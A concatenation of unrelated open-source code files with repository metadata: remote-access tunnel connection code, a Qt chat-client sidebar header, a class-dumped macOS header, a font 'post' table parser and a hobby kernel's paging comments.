PackAddStr(p, "env_commit_id", ULTRA_COMMIT_ID); LANGLIST current_lang = CLEAN; GetCurrentLang(&current_lang); PackAddStr(p, "env_language", current_lang.Name); if (HttpClientSend(s, p) == false) { // 失敗 WtSessionLog(session, "HttpClientSend Failed."); FreePack(p); session->ErrorCode = ERR_DISCONNECTED; return; } FreePack(p); // 結果の受信 p = HttpClientRecv(s); if (p == NULL) { WtSessionLog(session, "HttpClientRecv Failed."); session->ErrorCode = ERR_DISCONNECTED; return; } code = PackGetInt(p, "code"); if (code != ERR_NO_ERROR) { WtSessionLog(session, "Gate Error: %u", code); // エラー発生 FreePack(p); session->ErrorCode = code; return; } { UINT tunnel_timeout2 = PackGetInt(p, "tunnel_timeout"); UINT tunnel_keepalive2 = PackGetInt(p, "tunnel_keepalive"); bool tunnel_use_aggressive_timeout2 = PackGetBool(p, "tunnel_use_aggressive_timeout"); if (tunnel_timeout2 && tunnel_keepalive2) { tunnel_timeout = tunnel_timeout2; tunnel_keepalive = tunnel_keepalive2; tunnel_use_aggressive_timeout = tunnel_use_aggressive_timeout2; } } FreePack(p); session->GateTcp = WtNewTTcp(s, session->ConnectParam->UseCompress, tunnel_timeout, tunnel_keepalive, tunnel_use_aggressive_timeout); session->GateTcp->MultiplexMode = true; SetTimeout(s, TIMEOUT_INFINITE); CopyIP(&session->ServerLocalIP, &s->LocalIP); WtSessionLog(session, "Connected. LocalIP = %r", &session->ServerLocalIP); session->WasConnected = true; WtsSessionMain(session); } // シグネチャをアップロードする bool WtgClientUploadSignature(SOCK *s) { HTTP_HEADER *h; UINT water_size, rand_size; UCHAR *water; // 引数チェック if (s == NULL) { return false; } h = NewHttpHeader("POST", HTTP_WIDE_TARGET2, "HTTP/1.1"); AddHttpValue(h, NewHttpValue("Content-Type", HTTP_CONTENT_TYPE3)); AddHttpValue(h, NewHttpValue("Connection", "Keep-Alive")); // 透かしの生成 rand_size = Rand32() % (HTTP_PACK_RAND_SIZE_MAX * 2); water_size = SizeOfWaterMark() + rand_size; water = Malloc(water_size); Copy(water, GetWaterMark(), SizeOfWaterMark()); Rand(&water[SizeOfWaterMark()], rand_size); // 透かしデータのアップロード if (PostHttp(s, h, water, water_size) == false) { Free(water); FreeHttpHeader(h); return false; } Free(water); FreeHttpHeader(h); return true; } // 接続メイン void WtsConnectMain(TSESSION *session) { SOCK *s; UINT err = 0; char *sni = NULL; WT_CONNECT *connect = session->ConnectParam; bool should_retry_proxy_alternative = false; bool is_proxy_alternative_fqdn = false; // 引数チェック if (session == NULL || session->ConnectParam == NULL) { return; } WtSessionLog(session, "WtsConnectMain Start."); sni = connect->HostName; // Gate に接続 s = WtSockConnect(connect, &err, false); if (s == NULL) { // 失敗 WtSessionLog(session, "WtSockConnect Failed."); if (connect->ProxyType == PROXY_HTTP && err != ERR_PROXY_CONNECT_FAILED && IsEmptyStr(connect->HostNameForProxy) == false && StrCmpi(connect->HostNameForProxy, connect->HostName) != 0) { L_PROXY_RETRY_WITH_ALTERNATIVE_FQDN: // HTTP プロキシサーバーの場合で単純プロキシサーバー接続不具合以外 // の場合は、接続先接続先を HostNameForProxy にして再試行する WtSessionLog(session, "WtsConnectMain: Try 1"); s = WtSockConnect(connect, &err, true); if (s == NULL) { WtSessionLog(session, "WtSockConnect Failed 2. %u", err); session->ErrorCode = err; return; } sni = connect->HostNameForProxy; is_proxy_alternative_fqdn = true; } else { session->ErrorCode = err; return; } } WtSessionLog(session, "WtSockConnect Ok."); session->Sock = s; AddRef(s->ref); // 接続処理 should_retry_proxy_alternative = false; WtSessionLog(session, "Begin WtsConnectInner()"); WtsConnectInner(session, s, sni, &should_retry_proxy_alternative); WtSessionLog(session, "End WtsConnectInner()"); Disconnect(s); ReleaseSock(s); if (should_retry_proxy_alternative && is_proxy_alternative_fqdn == false && connect->ProxyType == PROXY_HTTP && IsEmptyStr(connect->HostNameForProxy) == false && StrCmpi(connect->HostNameForProxy, connect->HostName) != 0) { // HTTP プロキシサーバーの場合で単純プロキシサーバー接続不具合以外 // の場合は、接続先接続先を HostNameForProxy にして再試行する session->Sock = NULL; WtSessionLog(session, "WtsConnectMain: Try 0 error"); Disconnect(s); ReleaseSock(s); s = NULL; goto L_PROXY_RETRY_WITH_ALTERNATIVE_FQDN; } } // ソケット接続 SOCK *WtSockConnect(WT_CONNECT *param, UINT *error_code, bool proxy_use_alternative_fqdn) { CONNECTION c; SOCK *sock; UINT err = ERR_NO_ERROR; // 引数チェック if (param == NULL) { return NULL; } Zero(&c, sizeof(c)); sock = NULL; err = ERR_INTERNAL_ERROR; switch (param->ProxyType) { case PROXY_DIRECT: sock = TcpIpConnectEx(param->HostName, param->Port, false, false, NULL, true, false, false, NULL); if (sock == NULL) { err = ERR_CONNECT_FAILED; } break; case PROXY_HTTP: sock = ProxyConnectEx2(&c, param->ProxyHostName, param->ProxyPort, (proxy_use_alternative_fqdn ? param->HostNameForProxy : param->HostName), param->Port, param->ProxyUsername, param->ProxyPassword, false, NULL, NULL, 0, param->ProxyUserAgent); if (sock == NULL) { err = c.Err; } break; case PROXY_SOCKS: sock = SocksConnect(&c, param->ProxyHostName, param->ProxyPort, param->HostName, param->Port, param->ProxyUsername, false); if (sock == NULL) { err = c.Err; } break; } if (error_code != NULL) { *error_code = err; } return sock; } // サーバーセッションの作成 TSESSION *WtsNewSession(THREAD *thread, WT *wt, WT_CONNECT *connect, WT_ACCEPT_PROC *proc, void *param) { TSESSION *t; // 引数チェック if (thread == NULL || wt == NULL || connect == NULL || proc == NULL) { return NULL; } t = ZeroMalloc(sizeof(TSESSION)); Format(t->ServerSessionName, sizeof(t->ServerSessionName), "TSESSION_%04u", ++wt->ServerSessionNameSeed); t->Lock = NewLock(); t->Ref = NewRef(); t->SessionType = WT_SESSION_SERVER; t->ConnectThread = thread; AddRef(thread->ref); t->AcceptProc = proc; t->AcceptProcParam = param; t->wt = wt; t->ConnectParam = ZeroMalloc(sizeof(WT_CONNECT)); WtCopyConnect(t->ConnectParam, connect); t->SockEvent = NewSockEvent(); t->RecvBuf = Malloc(RECV_BUF_SIZE); t->TunnelList = NewList(WtgCompareTunnel); t->BlockQueue = NewQueue(); t->AcceptThreadList = NewList(NULL); t->UsedTunnelList = WtNewUsedTunnelIdList(); WtLogEx(wt, t->ServerSessionName, "WtsNewSession: Create New Server Session: HostName = %s, HostNameForProxy = %s, Port = %u, " "ProxyType = %u, ProxyHostName = %s, ProxyPort = %u, ProxyUsername = %s, ProxyUserAgent = %s", connect->HostName, connect->HostNameForProxy, connect->Port, connect->ProxyType, connect->ProxyHostName, connect->ProxyPort, connect->ProxyUsername, connect->ProxyUserAgent); return t; }; // Gate への接続スレッド void WtsConnectThread(THREAD *thread, void *param) { WTS_CONNECT_THREAD_PARAM *p; TSESSION *session; // 引数チェック if (thread == NULL || param == NULL) { return; } p = (WTS_CONNECT_THREAD_PARAM *)param; session = WtsNewSession(thread, p->wt, &p->connect, p->proc, p->param); AddRef(session->Ref); thread->AppData1 = session; NoticeThreadInit(thread); WtsConnectMain(session); WtReleaseSession(session); Free(p); } // 接続の停止 void WtsStop(TSESSION *session) { UINT i; UINT num_threads; THREAD **threads; // 引数チェック if (session == NULL) { return; } session->Halt = true; Disconnect(session->Sock); SetSockEvent(session->SockEvent); WaitThread(session->ConnectThread, INFINITE); // Accept した各スレッドの解放 LockList(session->AcceptThreadList); { num_threads = LIST_NUM(session->AcceptThreadList); threads = ToArray(session->AcceptThreadList); DeleteAll(session->AcceptThreadList); } UnlockList(session->AcceptThreadList); for (i = 0;i < num_threads;i++) { THREAD *t = threads[i]; WaitThread(t, INFINITE); ReleaseThread(t); } Free(threads); } // 接続の開始 TSESSION *WtsStart(WT *wt, WT_CONNECT *connect, WT_ACCEPT_PROC *proc, void *param) { WTS_CONNECT_THREAD_PARAM *p; THREAD *thread; TSESSION *ret; // 引数チェック if (wt == NULL || connect == NULL || proc == NULL) { return NULL; } p = ZeroMalloc(sizeof(WTS_CONNECT_THREAD_PARAM)); WtCopyConnect(&p->connect, connect); p->wt = wt; p->proc = proc; p->param = param; thread = NewThread(WtsConnectThread, p); WaitThreadInit(thread); WtFreeConnect(&p->connect); ret = (TSESSION *)thread->AppData1; ReleaseThread(thread); return ret; } // WT_CONNECT のコピー void WtCopyConnect(WT_CONNECT *dst, WT_CONNECT *src) { // 引数チェック if (src == NULL || dst == NULL) { return; } Copy(dst, src, sizeof(WT_CONNECT)); if (src->GateConnectParam != NULL) { dst->GateConnectParam = WtCloneGateConnectParam(src->GateConnectParam); } } // WT_CONNECT の解放 void WtFreeConnect(WT_CONNECT *c) { // 引数チェック if (c == NULL) { return; } if (c->GateConnectParam != NULL) { WtFreeGateConnectParam(c->GateConnectParam); c->GateConnectParam = NULL; } } // WT_CONNECT を INTERNET_SETTING から作成 void WtInitWtConnectFromInternetSetting(WT_CONNECT *c, INTERNET_SETTING *s) { // 引数チェック if (c == NULL || s == NULL) { return; } Zero(c, sizeof(WT_CONNECT)); c->ProxyType = s->ProxyType; StrCpy(c->ProxyHostName, sizeof(c->ProxyHostName), s->ProxyHostName); c->ProxyPort = s->ProxyPort; StrCpy(c->ProxyUsername, sizeof(c->ProxyUsername), s->ProxyUsername); StrCpy(c->ProxyPassword, sizeof(c->ProxyPassword), s->ProxyPassword); StrCpy(c->ProxyUserAgent, sizeof(c->ProxyUserAgent), s->ProxyUserAgent); }
22.797502
222
0.69334
9bcb69f6022481275c3c7d74d9237d07e040724d
5,837
h
C
gui/main_window/sidebar/MenuPage.h
Vavilon3000/icq
9fe7a3c42c07eb665d2e3b0ec50052de382fd89c
[ "Apache-2.0" ]
1
2021-03-18T20:00:07.000Z
2021-03-18T20:00:07.000Z
gui/main_window/sidebar/MenuPage.h
Vavilon3000/icq
9fe7a3c42c07eb665d2e3b0ec50052de382fd89c
[ "Apache-2.0" ]
null
null
null
gui/main_window/sidebar/MenuPage.h
Vavilon3000/icq
9fe7a3c42c07eb665d2e3b0ec50052de382fd89c
[ "Apache-2.0" ]
null
null
null
#pragma once #include "Sidebar.h" #include "../../types/chat.h" namespace Logic { class ChatMembersModel; class ContactListItemDelegate; } namespace Ui { class CustomButton; class ContactAvatarWidget; class TextEditEx; class BackButton; class ContactListWidget; class SearchWidget; class LabelEx; class LineWidget; class ClickedWidget; class ActionButton; class FocusableListView; class MenuPage : public SidebarPage { Q_OBJECT Q_SIGNALS: void updateMembers(); public: explicit MenuPage(QWidget* parent); void initFor(const QString& aimId) override; public Q_SLOTS: void allMemebersClicked(); protected: void paintEvent(QPaintEvent* e) override; void resizeEvent(QResizeEvent *e) override; void updateWidth() override; private Q_SLOTS: void contactChanged(const QString&); void favoritesClicked(); void copyLinkClicked(); void themesClicked(); void privacyClicked(); void eraseHistoryClicked(); void ignoreClicked(); void quitClicked(); void notificationsChecked(int); void addToChatClicked(); void chatInfo(qint64, const std::shared_ptr<Data::ChatInfo>&); void chatBlocked(const QVector<Data::ChatMemberInfo>&); void chatPending(const QVector<Data::ChatMemberInfo>&); void spamClicked(); void addContactClicked(); void contactClicked(const QString&); void backButtonClicked(); void moreClicked(); void adminsClicked(); void blockedClicked(); void pendingClicked(); void avatarClicked(); void chatEvent(const QString&); void menu(QAction*); void actionResult(int); void approveAllClicked(); void publicChanged(int); void approvedChanged(int); void linkToChatClicked(int); void ageClicked(int); void readOnlyClicked(int); void removeClicked(); void touchScrollStateChanged(QScroller::State); void chatRoleChanged(const QString&); private: void init(); void initAvatarAndName(); void initAddContactAndSpam(); void initFavoriteNotificationsSearchTheme(); void initChatMembers(); void initEraseIgnoreDelete(); void initListWidget(); void connectSignals(); void initDescription(const QString& description, bool full = false); void blockUser(const QString& aimId, bool block); void readOnly(const QString& aimId, bool block); void changeRole(const QString& aimId, bool moder); void approve(const QString& aimId, bool approve); void changeTab(int tab); private: QString currentAimId_; QScrollArea* area_; ContactAvatarWidget* avatar_; TextEditEx* name_; TextEditEx* description_; QWidget* notMemberTopSpacer_; QWidget* notMemberBottomSpacer_; TextEditEx* youAreNotAMember_; LineWidget* firstLine_; LineWidget* secondLine_; LineWidget* thirdLine_; LineWidget* approveAllLine_; QWidget* adminsSpacer_; QWidget* blockSpacer_; QWidget* pendingSpacer_; QWidget* addContactSpacerTop_; QWidget* addContactSpacer_; QWidget* labelsSpacer_; QWidget* mainWidget_; QWidget* listWidget_; QWidget* textTopSpace_; CustomButton* notificationsButton_; QCheckBox* notificationsCheckbox_; LabelEx* publicButton_; QCheckBox* publicCheckBox_; LabelEx* approvedButton_; QCheckBox* approvedCheckBox_; LabelEx* linkToChat_; QCheckBox* linkToChatCheckBox_; LabelEx* readOnly_; QCheckBox* readOnlyCheckBox_; LabelEx* ageRestrictions_; QCheckBox* ageCheckBox_; ActionButton* addToChat_; ActionButton* favoriteButton_; ActionButton* copyLink_; ActionButton* themesButton_; ActionButton* privacyButton_; ActionButton* eraseHistoryButton_; ActionButton* ignoreButton_; ActionButton* quitAndDeleteButton_; CustomButton* addContact_; ActionButton* spamButton_; ActionButton* spamButtonAuth_; ActionButton* deleteButton_; CustomButton* backButton_; ClickedWidget* allMembers_; ClickedWidget* admins_; ClickedWidget* blockList_; ClickedWidget* avatarName_; ClickedWidget* pendingList_; LabelEx* allMembersCount_; LabelEx* blockCount_; LabelEx* pendingCount_; LabelEx* blockLabel_; LabelEx* pendingLabel_; LabelEx* listLabel_; LabelEx* allMembersLabel_; Logic::ChatMembersModel* chatMembersModel_; Logic::ContactListItemDelegate* delegate_; std::shared_ptr<Data::ChatInfo> info_; LabelEx* moreLabel_; LabelEx* approveAll_; LabelEx* publicAbout_; LabelEx* readOnlyAbout_; LabelEx* linkToChatAbout_; LabelEx* approvalAbout_; LabelEx* ageAbout_; QWidget* approveAllWidget_; QWidget* contactListWidget_; QWidget* privacyWidget_; QWidget* publicBottomSpace_; QWidget* approvedBottomSpace_; QWidget* linkBottomSpace_; QWidget* readOnlyBottomSpace_; ContactListWidget* cl_; SearchWidget* searchWidget_; QStackedWidget* stackedWidget_; QVBoxLayout* rootLayout_; QVBoxLayout* nameLayout_; int currentTab_; }; }
32.427778
77
0.629262
7692ab16f8707e24d5bb1e36f8e050fde4e405b5
1,052
h
C
PrivateFrameworks/PersonalizationPortraitInternals/PPAutocompleteDelegate.h
phatblat/macOSPrivateFrameworks
9047371eb80f925642c8a7c4f1e00095aec66044
[ "MIT" ]
17
2018-11-13T04:02:58.000Z
2022-01-20T09:27:13.000Z
PrivateFrameworks/PersonalizationPortraitInternals/PPAutocompleteDelegate.h
phatblat/macOSPrivateFrameworks
9047371eb80f925642c8a7c4f1e00095aec66044
[ "MIT" ]
3
2018-04-06T02:02:27.000Z
2018-10-02T01:12:10.000Z
PrivateFrameworks/PersonalizationPortraitInternals/PPAutocompleteDelegate.h
phatblat/macOSPrivateFrameworks
9047371eb80f925642c8a7c4f1e00095aec66044
[ "MIT" ]
1
2018-09-28T13:54:23.000Z
2018-09-28T13:54:23.000Z
// // Generated by class-dump 3.5 (64 bit). // // class-dump is Copyright (C) 1997-1998, 2000-2001, 2004-2013 by Steve Nygard. // #import "NSObject.h" #import "CNAutocompleteFetchDelegate.h" @class CNAutocompleteStore, NSCache, NSMutableSet, NSString; @interface PPAutocompleteDelegate : NSObject <CNAutocompleteFetchDelegate> { CNAutocompleteStore *_autocompleteStore; NSCache *_resultCache; NSCache *_fetchToContextMap; NSMutableSet *_contextsInProgress; } - (void).cxx_destruct; - (id)convertAutocompleteResultToContact:(id)arg1; - (id)queryForName:(id)arg1 recipients:(id)arg2; - (id)lookupCachedContactsWithName:(id)arg1 recipients:(id)arg2; - (void)autocompleteFetch:(id)arg1 didFailWithError:(id)arg2; - (void)autocompleteFetch:(id)arg1 didReceiveResults:(id)arg2; - (void)clearCaches; - (id)init; // Remaining properties @property(readonly, copy) NSString *debugDescription; @property(readonly, copy) NSString *description; @property(readonly) unsigned long long hash; @property(readonly) Class superclass; @end
27.684211
83
0.761407
18cafab2ff3bfbda90c607732dd1b4736be33d80
3,145
c
C
post.c
maandree/libparsesfnt
f7cb0e83cc7462741a04fac4e2e2f26be00cd9e1
[ "0BSD" ]
null
null
null
post.c
maandree/libparsesfnt
f7cb0e83cc7462741a04fac4e2e2f26be00cd9e1
[ "0BSD" ]
null
null
null
post.c
maandree/libparsesfnt
f7cb0e83cc7462741a04fac4e2e2f26be00cd9e1
[ "0BSD" ]
null
null
null
/* See LICENSE file for copyright and license details. */ #include "common.h" static uint16_t post_parse16(const char *data) { uint16_t b1 = (uint16_t)((const uint8_t *)data)[0]; uint16_t b2 = (uint16_t)((const uint8_t *)data)[1]; b1 = (uint16_t)(b1 << 8); b2 = (uint16_t)(b2 << 0); return (uint16_t)(b1 | b2); } static void post_sign16(union {uint16_t u; int16_t s;} *info) { info->s = ((info->u >> 15) ? -(int16_t)(~info->u + 1) : (int16_t)info->u); } int libparsesfnt_parse_post( const char *data, size_t size, struct libparsesfnt_post *infop, const struct libparsesfnt_tabdir_entry *tag) { int ret; ret = PARSE(LIBPARSESFNT_POST__, tag->offset, 0, 0, 0, 1, tag); if (!ret) { if (infop->format >> 16 == 2) { if (2 > tag->length - tag->offset) goto ebfont; infop->subtable.v2.number_of_glyphs = post_parse16(&data[tag->offset + 2]); } } return ret; ebfont: errno = EBFONT; return -1; } static int post_indices( const char *data, size_t size, uint16_t *indexp, const struct libparsesfnt_tabdir_entry *tag, size_t first, size_t count, size_t offset) { if (offset > tag->length || first > (tag->length - offset) / 2) goto ebfont; offset += first * 2; if (count > (tag->length - offset) / 2) goto ebfont; if (tag->offset > size || offset > size - tag->offset) goto ebfont; offset += tag->offset; for (; count--; indexp++, offset += 2) *indexp = post_parse16(&data[offset]); return 0; ebfont: errno = EBFONT; return -1; } int libparsesfnt_parse_post_format_2_0_indices( const char *data, size_t size, uint16_t *indexp, const struct libparsesfnt_tabdir_entry *tag, size_t first, size_t count) { return post_indices(data, size, indexp, tag, first, count, 34); } int libparsesfnt_parse_post_format_2_0_name( const char *data, size_t size, char namep[256], const struct libparsesfnt_tabdir_entry *tag, const struct libparsesfnt_post *post, size_t *offsetp /* start at 0 */) { size_t len; if (!*offsetp) { if ((size_t)post->subtable.v2.number_of_glyphs > ((size_t)tag->length - 34) / 2) goto ebfont; *offsetp = 34 + (size_t)post->subtable.v2.number_of_glyphs / 2; if ((size_t)tag->length > size - (size_t)tag->offset) goto ebfont; } if (*offsetp >= (size_t)tag->length) goto ebfont; len = (size_t)*(const uint8_t *)&data[*offsetp]; *offsetp += 1; if (len > (size_t)tag->length - *offsetp) goto ebfont; memcpy(namep, &data[*offsetp], len); namep[len] = 0; *offsetp += len; return 0; ebfont: errno = EBFONT; return -1; } int libparsesfnt_parse_post_format_2_5_offsets( const char *data, size_t size, int16_t *offsetp, const struct libparsesfnt_tabdir_entry *tag, size_t first, size_t count) { if (post_indices(data, size, (uint16_t *)offsetp, tag, first, count, 34)) return -1; for (; count--; offsetp++) post_sign16((void *)offsetp); return 0; } int libparsesfnt_parse_post_format_4_0_indices( const char *data, size_t size, uint16_t *indexp, const struct libparsesfnt_tabdir_entry *tag, size_t first, size_t count) { return post_indices(data, size, indexp, tag, first, count, 32); }
21.840278
83
0.674404
bbc8bb27a40b3c796b6c4ec4bd5b208680a65b3b
4,960
h
C
TlsrSrc/tl_pvvx_ble_sdk/proj_lib/ble/ll/ll_whitelist.h
frankpolte/UBIA
f665c5462f75456a98b49fc4c19bd078a3872a75
[ "Unlicense" ]
17
2020-02-22T10:09:06.000Z
2022-01-20T09:05:05.000Z
TlsrSrc/tl_pvvx_ble_sdk/proj_lib/ble/ll/ll_whitelist.h
hussein-repair-co/UBIA
f665c5462f75456a98b49fc4c19bd078a3872a75
[ "Unlicense" ]
2
2020-08-18T10:11:14.000Z
2021-04-14T04:54:31.000Z
TlsrSrc/tl_pvvx_ble_sdk/proj_lib/ble/ll/ll_whitelist.h
hussein-repair-co/UBIA
f665c5462f75456a98b49fc4c19bd078a3872a75
[ "Unlicense" ]
4
2020-05-07T20:41:27.000Z
2021-12-26T13:23:58.000Z
/* * ll_whitelist.h * * Created on: 2016-9-22 * Author: Administrator */ #ifndef LL_WHITELIST_H_ #define LL_WHITELIST_H_ #include "../ble_common.h" #define MAX_WHITE_LIST_SIZE 4 #if (RAMCODE_OPTIMIZE_CONN_POWER_NEGLECT_ENABLE || BLS_BLE_RF_IRQ_TIMING_EXTREMELY_SHORT_EN) #define MAX_WHITE_IRK_LIST_SIZE 1 //save ramcode #else #define MAX_WHITE_IRK_LIST_SIZE 2 //save ramcode #endif #define IRK_REVERT_TO_SAVE_AES_TMIE_ENABLE 1 #define MAC_MATCH8(md,ms) (md[0]==ms[0] && md[1]==ms[1] && md[2]==ms[2] && md[3]==ms[3] && md[4]==ms[4] && md[5]==ms[5]) #define MAC_MATCH16(md,ms) (md[0]==ms[0] && md[1]==ms[1] && md[2]==ms[2]) #define MAC_MATCH32(md,ms) (md[0]==ms[0] && md[1]==ms[1]) //adv filter policy #define ALLOW_SCAN_WL BIT(0) #define ALLOW_CONN_WL BIT(1) #define ADV_FP_ALLOW_SCAN_ANY_ALLOW_CONN_ANY 0x00 // Process scan and connection requests from all devices #define ADV_FP_ALLOW_SCAN_WL_ALLOW_CONN_ANY 0x01 // Process connection requests from all devices and only scan requests from devices that are in the White List. #define ADV_FP_ALLOW_SCAN_ANY_ALLOW_CONN_WL 0x02 // Process scan requests from all devices and only connection requests from devices that are in the White List.. #define ADV_FP_ALLOW_SCAN_WL_ALLOW_CONN_WL 0x03 // Process scan and connection requests only from devices in the White List. //adv filter policy set to zero, not use whitelist #define ADV_FP_NONE ADV_FP_ALLOW_SCAN_ANY_ALLOW_CONN_ANY #define SCAN_FP_ALLOW_ADV_ANY 0x00 //except direct adv address not match #define SCAN_FP_ALLOW_ADV_WL 0x01 //except direct adv address not match #define SCAN_FP_ALLOW_UNDIRECT_ADV 0x02 //and direct adv address match initiator's resolvable private MAC #define SCAN_FP_ALLOW_ADV_WL_DIRECT_ADV_MACTH 0x03 //and direct adv address match initiator's resolvable private MAC #define INITIATE_FP_ADV_SPECIFY 0x00 //adv specified by host #define INITIATE_FP_ADV_WL 0x01 //adv in whitelist typedef u8 irk_key_t[16]; typedef struct { u8 type; u8 address[BLE_ADDR_LEN]; u8 reserved; } wl_addr_t; typedef struct { wl_addr_t wl_addr_tbl[MAX_WHITE_LIST_SIZE]; u8 wl_addr_tbl_index; u8 wl_irk_tbl_index; } ll_whiteListTbl_t; typedef struct { u8 type; u8 address[BLE_ADDR_LEN]; u8 reserved; u8 irk[16]; } rl_addr_t; typedef struct { rl_addr_t tbl[MAX_WHITE_IRK_LIST_SIZE]; u8 idx; u8 en; } ll_ResolvingListTbl_t; typedef u8 * (*ll_wl_handler_t)(u8 , u8 *); extern ll_wl_handler_t ll_whiteList_handler; /**************************************** User Interface **********************************************/ /********************************************************************* * @fn ll_whiteList_reset * * @brief API to reset the white list table. * * @param None * * @return LL Status */ ble_sts_t ll_whiteList_reset(void); /********************************************************************* * @fn ll_whiteList_add * * @brief API to add new entry to white list * * @param None * * @return LL Status */ ble_sts_t ll_whiteList_add(u8 type, u8 *addr); /********************************************************************* * @fn ll_whiteList_delete * * @brief API to delete entry from white list * * @param type - The specified type * addr - The specified address to be delete * * @return LL Status */ ble_sts_t ll_whiteList_delete(u8 type, u8 *addr); /********************************************************************* * @fn ll_whiteList_getSize * * @brief API to get total number of white list entry size * * @param returnSize - The returned entry size * * @return LL Status */ ble_sts_t ll_whiteList_getSize(u8 *returnPublicAddrListSize) ; ble_sts_t ll_resolvingList_add(u8 peerIdAddrType, u8 *peerIdAddr, u8 *peer_irk, u8 *local_irk); ble_sts_t ll_resolvingList_delete(u8 peerIdAddrType, u8 *peerIdAddr); ble_sts_t ll_resolvingList_reset(void); ble_sts_t ll_resolvingList_getSize(u8 *Size); ble_sts_t ll_resolvingList_getPeerResolvableAddr (u8 peerIdAddrType, u8* peerIdAddr, u8* peerResolvableAddr); //not available now ble_sts_t ll_resolvingList_getLocalResolvableAddr(u8 peerIdAddrType, u8* peerIdAddr, u8* LocalResolvableAddr); //not available now ble_sts_t ll_resolvingList_setAddrResolutionEnable (u8 resolutionEn); ble_sts_t ll_resolvingList_setResolvablePrivateAddrTimer (u16 timeout_s); //not available now /********************************* Stack Interface, user can not use!!! ********************************/ u8 * ll_searchAddrInWhiteListTbl(u8 type, u8 *addr); u8 * ll_searchAddrInResolvingListTbl(u8 *addr); //addr must be RPA u8 * ll_searchAddr_in_WhiteList_and_ResolvingList(u8 type, u8 *addr); bool smp_resolvPrivateAddr(u8 *key, u8 *addr); #endif /* LL_WHITELIST_H_ */
28.342857
171
0.66129
17ec22b5bf4a1d32a2083c29928dd318220800d1
1,797
h
C
Classes/Payment/IOSIAP.h
tyym1314/SuperLife
52c2b15f92382bf211dc76a0f3eca82011b04d92
[ "MIT" ]
3
2019-04-19T20:25:35.000Z
2019-08-17T01:13:23.000Z
Classes/Payment/IOSIAP.h
tyym1314/SuperLife
52c2b15f92382bf211dc76a0f3eca82011b04d92
[ "MIT" ]
null
null
null
Classes/Payment/IOSIAP.h
tyym1314/SuperLife
52c2b15f92382bf211dc76a0f3eca82011b04d92
[ "MIT" ]
6
2019-03-21T02:20:59.000Z
2022-01-24T07:52:40.000Z
// // IOSIAP.h // SuperLife // // Created by wang haibo on 15/1/29. // // #import <Foundation/Foundation.h> #import <StoreKit/StoreKit.h> typedef enum { PaymentTransactionStatePurchased = 0, PaymentTransactionStateFailed, PaymentTransactionStateRestored, PaymentTransactionStateTimeout, } IAPResult; typedef enum { RequestSuccees=0, RequestFail, RequestTimeout, } ProductsRequestResult; typedef enum { RestoreSuccees=0, RestoreFail, RestoreTimeout, } PurchaseRestoreResult; @interface IOSIAP : NSObject<SKProductsRequestDelegate,SKPaymentTransactionObserver> + (BOOL) checkIAP; - (void) payForProduct: (NSMutableDictionary*) profuctInfo; - (void) setDebugMode: (BOOL) debug; - (void) restorePurchase; @property BOOL debug; + (void) onPayResult:(id) obj withRet:(IAPResult) ret withMsg:(NSString*) msg; + (void) onRequestProductResult:(id)ojb withRet:(ProductsRequestResult) ret withProducts:(NSArray *)products withMsg:(NSString*) msg; /* ---------iap functions-------*/ - (void) requestProducts:(NSString*) paralist; - (void) setServerMode; // when complete payment whether success or fail call this function - (void)finishTransaction:(NSString *)productId; //SKProductsRequestDelegate needed - (void)productsRequest:(SKProductsRequest *)request didReceiveResponse:(SKProductsResponse *)response; //SKPaymentTransactionObserver needed - (void)paymentQueue:(SKPaymentQueue *)queue updatedTransactions:(NSArray *)transactions; //SKPaymentTransactionObserver option - (void)paymentQueue:(SKPaymentQueue *)queue restoreCompletedTransactionsFailedWithError:(NSError *)error; //SKPaymentTransactionObserver option - (void)paymentQueueRestoreCompletedTransactionsFinished:(SKPaymentQueue *)queue; @property (nonatomic,assign) BOOL _isServerMode; @end
30.982759
133
0.774624
a50e858450c76fd0fe1154abdda3fa1a2a52fb1f
61,873
c
C
landos/kernel/0mem/mm/pages.c
frednora/gramado241
c71a9e0e1ad0ade78aa092c06346c9308e20e892
[ "BSD-2-Clause" ]
10
2021-10-01T13:50:33.000Z
2022-03-28T22:12:48.000Z
landos/kernel/0mem/mm/pages.c
winux-org/gramado241
564f9ed79289016b1e4e0e95d0943d02c6f52232
[ "BSD-2-Clause" ]
null
null
null
landos/kernel/0mem/mm/pages.c
winux-org/gramado241
564f9ed79289016b1e4e0e95d0943d02c6f52232
[ "BSD-2-Clause" ]
2
2021-10-16T14:22:46.000Z
2022-03-12T03:27:06.000Z
/* * File: mm/pages.c * * Faz a configura��o da pagina��o de mem�ria e oferece rotinas de * suporte ao mapeamento de mem�ria f�sica. * Faz parte do modulo /mm da classe ram. * * *Importante: * Essa rotina pertence ao m�dulo de gerenciamento de mem�ria. N�o possui * informa��es sobre processos. Qualquer informa��o sobre processos deve ser * conseguida atrav�s de invoca��o de m�todos pertencentes ao m�dulo * /microkernel. * * @todo: * IMPORTANTE: * +FAZER GERENCIAMENTO DA MEM�RIA F�SICA. * +DIVIDIR A MEM�RIA F�SICA EM PARTI��ES DE 4MB E * +DIVIDIR CADA PARTI��O EM FRAMES DE 4KB, O QUE D� 1024 FRAMES POR * PARTI��O. * * Obs: * Chamaremos de 'framepool' o conjunto de 1024 frames. * Poderemos mapear um framepool inteiro se preciso. * * @todo: * *Importante: * Obs: * Os processos Idle, Shell e Taskman est�o usando o diret�rio de p�ginas * do processo Kernel. � preciso criar um diret�rio para cada processo e * criar uma rotina de automa��o na cria��o de diret�rios de p�ginas. * * @todo: * Criar rotinas para ver o conte�do da lista de diret�rios de p�ginas. * ?? Cada diret�rio deve ter uma estrutura, cujo ponteiro vai pra dentro * da lista. * ?? A estrutura mostrar� informa��es sobre o diret�rio de p�ginas. * * @todo: * Criar rotinas que manipulem as estruturas de diret�rio de p�ginas e de * pagetables. * * Obs: Todas as pagetables podem ficar em sequ�ncia em uma mesma regi�o do endere�o * l�gico do processo kernel. * * In this file: * ============= * +CreatePageDirectory * +CreatePageTable * +SetCR3 * +SetUpPaging * + * * History: * 2015 - Created by Fred Nora. */ // Algumas �reas de mem�ria: // ========================= // // + kernel area = 1024 pageframes (4MB). // + kernel image = 1024 pageframes (4MB). // + user mode area = 1024 pageframes (4MB). // + vga = 1024 pageframes (4MB). // (Obs: Isso transpassa o real tamanho da vga). // + lfb (frontbuffer) = 1024 pageframes (4MB). // (Obs: Isso � muito pouco, placas de video possuem muita memo'ria) // + backbuffer = 1024 pageframes (4MB). // (Obs: Isso realmente � pouco, no backbuffer deve caber uma imagem // grande, que ser� dividida em v�rios monitores). // + ?? tem ainda um pool de pageframes usados para aloca�ao. #include <kernel.h> // These values came from 